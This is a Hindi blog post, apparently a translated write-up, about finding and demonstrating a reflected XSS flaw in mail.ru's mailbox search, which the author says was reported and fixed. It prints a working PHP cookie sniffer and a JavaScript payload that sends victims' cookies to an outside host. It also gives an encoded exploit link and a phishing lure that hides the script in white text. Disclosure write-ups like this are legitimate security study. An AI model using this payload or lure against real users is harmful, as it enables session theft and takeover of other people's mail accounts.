हम mail.ru से अन्य लोगों की कुकीज़ निकालते हैं

बहुत समय पहले मैंने हबर पर एक पोस्ट पढ़ी थी, जिसमें सूचना सुरक्षा के मुद्दों पर समर्पित एक स्वतंत्र कार्यक्रम में भाग लेने का प्रस्ताव था। चूंकि घटना मेरे शहर में आयोजित की गई थी, मैंने फैसला किया कि मुझे वहां जाने की जरूरत है। पहला पाठ XSS जैसी साइटों पर कमजोरियों के बारे में था। पाठ के बाद, मैंने फैसला किया कि मुझे वास्तविक परिस्थितियों में प्राप्त ज्ञान को मजबूत करने की आवश्यकता है। मैंने अपने लिए कई साइटें चुनीं जो मेरे शहर से संबंधित हैं और सभी रूपों में मेरी स्क्रिप्ट को चिपकाने की कोशिश करने लगीं। ज्यादातर मामलों में, स्क्रिप्ट को फ़िल्टर किया गया था। लेकिन ऐसा हुआ कि "सतर्क" काम किया और मेरा संदेश दिखाई दिया। भेद्यता प्रशासकों को सूचना दी गई थी, और उन्होंने जल्दी से सब कुछ तय कर दिया।

इन दिनों में से एक, mail.ru पर ताज़ा मेल की जाँच करने के बाद, मुझे एक मेलबॉक्स में पत्र खोजने के लिए एक फ़ॉर्म मिला। कभी-कभी, मैंने इस खोज का उपयोग अपने पुराने पत्रों के ढेर में अपनी ज़रूरत की चीज़ खोजने के लिए किया। खैर, चूंकि पिछले कुछ दिनों में मैंने अपना "अलर्ट" लगभग हर जगह डाला, जो मैं कर सकता था, मेरा हाथ इस खोज फॉर्म के लिए स्पष्ट रूप से पहुंच गया। मैंने अपनी स्क्रिप्ट के लिए कोड टाइप किया और एंटर मारा। मेरे आश्चर्य की कल्पना कीजिए जब स्क्रीन पर मैंने एक दर्दनाक परिचित संदेश देखा ...




ओपन इन्फोसेक डेज लेक्चर में, स्पीकर ने कहा कि प्रोग्रामर इस तरह की कमजोरियों पर संदेह करते हैं, वे कहते हैं, "अलर्ट? तो क्या? यह खतरनाक नहीं है। ” यदि अन्य साइटों पर मैं केवल अपने संदेश के साथ इस विंडो के साथ संतुष्ट था, तो इस मामले में मैंने आगे बढ़ने का फैसला किया और दिखाया कि इस तरह के "अलर्ट" क्या हो सकते हैं।

तो, स्क्रिप्ट को ट्रिगर किया जाता है, जिसका अर्थ है कि भेद्यता है। इसलिए, आप कुछ अन्य स्क्रिप्ट चलाने का प्रयास कर सकते हैं। उदाहरण के लिए, एक स्क्रिप्ट जो किसी अन्य उपयोगकर्ता की कुकीज़ हमारे पास जाती है। स्क्रिप्ट को काम करने के लिए, आपको उपयोगकर्ता को हमारी स्क्रिप्ट निष्पादित करने के लिए बाध्य करना होगा। आप उसे उचित लिंक के साथ एक पत्र भेजकर ऐसा कर सकते हैं, जिस पर क्लिक करने के बाद मेलबॉक्स में एक खोज की जाएगी और हमें जिस कोड की आवश्यकता होगी उसे निष्पादित किया जाएगा।

भेद्यता के यांत्रिकी को समझने में कुछ समय और बहुत प्रयोग हुए। कभी-कभी स्क्रिप्ट काम करती थी, कभी-कभी इसे फ़िल्टर किया जाता था। कुछ प्रयासों के बाद, यह अनुभवजन्य रूप से निर्धारित किया गया था कि यदि अक्षरों द्वारा खोज एक सकारात्मक परिणाम देती है, तो स्क्रिप्ट केवल 100% ट्रिगर होती है। यही है, जब कोई उपयोगकर्ता हमारी स्क्रिप्ट के साथ खोज करता है, तो यह आवश्यक है कि उसके मेलबॉक्स में कम से कम एक अक्षर निर्दिष्ट मापदंडों के अनुसार पाया जाए। इसे व्यवस्थित करना मुश्किल नहीं है।

इसके बाद, मैंने लिंक लिया जो खोज को लॉन्च करेगा। पता बार में पैटर्न का पता लगाया जाता है जिसके द्वारा खोज की जाती है:



हम पत्र में लगभग ऐसे लिंक भेजेंगे। चूँकि हमारा काम दूसरों की कुकीज लेना है, इसलिए हमें एक सूंघने की जरूरत है। स्क्रिप्ट sniff.php लिखी गई और तीसरे पक्ष की मेजबानी के लिए अपलोड की गई। स्निफर कोड है:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

इसके अलावा, "अलर्ट" के बजाय, आपको एक स्क्रिप्ट की आवश्यकता है जो कुकीज़ को हमारे स्निफर तक पहुंचाएगी। हम इस स्क्रिप्ट को एक अलग फ़ाइल में लिखेंगे और हम इसे अपनी खोज में लोड करेंगे। आवश्यक कोड के साथ एक test.js फ़ाइल बनाई और इसे होस्टिंग पर अपलोड किया। स्क्रिप्ट कोड इस प्रकार है:

img=new Image();
img.src='http://sitename.ru/sniff.php?cookie='+document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);

मैं यहां क्या स्पष्ट करना चाहूंगा। खुद को हमलावर के जूते में रखो। उपयोगकर्ता के लिए लिंक पर क्लिक करना आवश्यक है। उसे कैसे करना है? आप सुनहरे पहाड़ों का वादा कर सकते हैं और उन्हें आपकी ज़रूरत के लिए, साइट के हमारे लिंक का पालन कर सकते हैं। लेकिन मुझे नहीं लगता कि यह काम करेगा। लोग अब ऐसा नहीं कर रहे हैं (मैं लगातार ऐसे पत्रों को बिना पढ़े भी हटा देता हूं)। इसलिए, हम मानव दया पर खेलेंगे, क्योंकि यह अभी भी प्रकृति में मौजूद है। निर्वासित पशुओं के बचाव के लिए साइट पर वोट करने के लिए कहें। पहले हम कुकीज़ उठाते हैं, और फिर उपयोगकर्ता को मतदान के लिए साइट पर पुनर्निर्देशित करते हैं। 5 सेकंड में पुनर्निर्देशन के लिए समय सीमा निर्धारित करें, अन्यथा कुकीज़ को सिर्फ स्निफर को प्रेषित करने का समय नहीं था, और उपयोगकर्ता को तुरंत जानवरों के बारे में साइट पर स्थानांतरित कर दिया गया था। "अलर्ट" के बजाय मैंने निम्नलिखित स्क्रिप्ट का उपयोग किया:



जब स्क्रिप्ट खत्म हो गई, तो मैंने एक पत्र लिखना शुरू कर दिया। मैं निम्नलिखित सामग्री के साथ आया:

यह बहुत सनकी निकला, लेकिन मैंने स्थितियों को सबसे वास्तविक लोगों के करीब लाने की कोशिश की। पत्र के अंत में एक स्क्रिप्ट के साथ एक पंक्ति जोड़ी जाती है, ताकि खोज करते समय हमारा पत्र मिल जाए। ताकि लाइन अनावश्यक प्रश्नों का कारण न बने, इसे सफेद रंग के साथ चित्रित किया गया है। शब्द "http" में भी एक "स्थान" डाल दिया ताकि लाइन पहचानी न जाए और लिंक में परिवर्तित न हो। अन्यथा, इस तथ्य के बावजूद कि स्क्रिप्ट लाइन सफेद रंग में लिखी गई है, प्राप्तकर्ता को नीले रंग में लिंक हाइलाइट किया जाएगा, लेकिन हमें इसकी आवश्यकता नहीं है। स्मार्ट खोज रिक्त स्थान के बावजूद अभी भी इस रेखा को खोजेगी और पहचानेगी।

खोज लिंक ने निम्नलिखित का उपयोग किया:

e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

मैंने स्क्रिप्ट के लिए URL एन्कोडिंग का उपयोग किया ताकि कुछ भी फ़िल्टर न हो। इसके अलावा खोज के लिए पैरामीटर "q_folder = 0" जोड़ा गया, यह इसलिए है ताकि खोज "इनबॉक्स" फ़ोल्डर में हो।

पत्र तैयार है, इसे भेजें। पतेदार के रूप में, मैंने उसी सेवा पर अपने दूसरे मेलबॉक्स का उपयोग किया। हम देखते हैं कि दूसरे बॉक्स में क्या आया है।



हमारा स्क्रिप्ट पाठ दिखाई नहीं देता है, क्योंकि यह पृष्ठभूमि के साथ विलीन हो जाता है। लिंक पर क्लिक करें और देखें कि क्या होता है। उपयोगकर्ता द्वारा निर्धारित पैरामीटर द्वारा पत्रों के लिए खोज परिणामों में ले जाया जाता है। हमारे द्वारा भेजा गया हमारा पत्र खोज परिणामों में दिखाई दे रहा है। इस समय, हमारी स्क्रिप्ट ने पहले ही काम किया था और उपयोगकर्ता की कुकीज़ को स्निफर को भेज दिया था। 5 सेकंड के बाद (समय स्क्रिप्ट सेटिंग्स पर निर्भर करता है), उपयोगकर्ता को चुनाव के साथ साइट पर पुनर्निर्देशित किया जाता है।

मेरी sniff.txt फ़ाइल की जाँच:



चूंकि मेरा लक्ष्य किसी और के मेलबॉक्स को चोरी करना या उन तक पहुंच प्राप्त करना नहीं है, इसलिए मैं इस पर कहानी समाप्त करूंगा। लेकिन सैद्धांतिक रूप से, आप अपने कुकीज़ को अजनबियों से बदल सकते हैं और किसी और के मेलबॉक्स तक पहुंच प्राप्त कर सकते हैं। सामान्य तौर पर, यदि कोई हमलावर किसी लक्ष्य के साथ रोशनी करता है, तो वह प्राप्त जानकारी के लिए उपयोग करेगा।

मैं सर्गेई बेलोव ( बेलोव ) को उनके सूचनात्मक कार्यक्रम ओपन इन्फोसेक डेज के लिए धन्यवाद देना चाहता हूं, जिसने मुझे वेबसाइटों पर कमजोरियों को खोजने के लिए प्रेरित किया।

मैं mail.ru टीम को भी धन्यवाद देना चाहता हूं, जिसने मिनटों के मामले में इस भेद्यता को बंद कर दिया।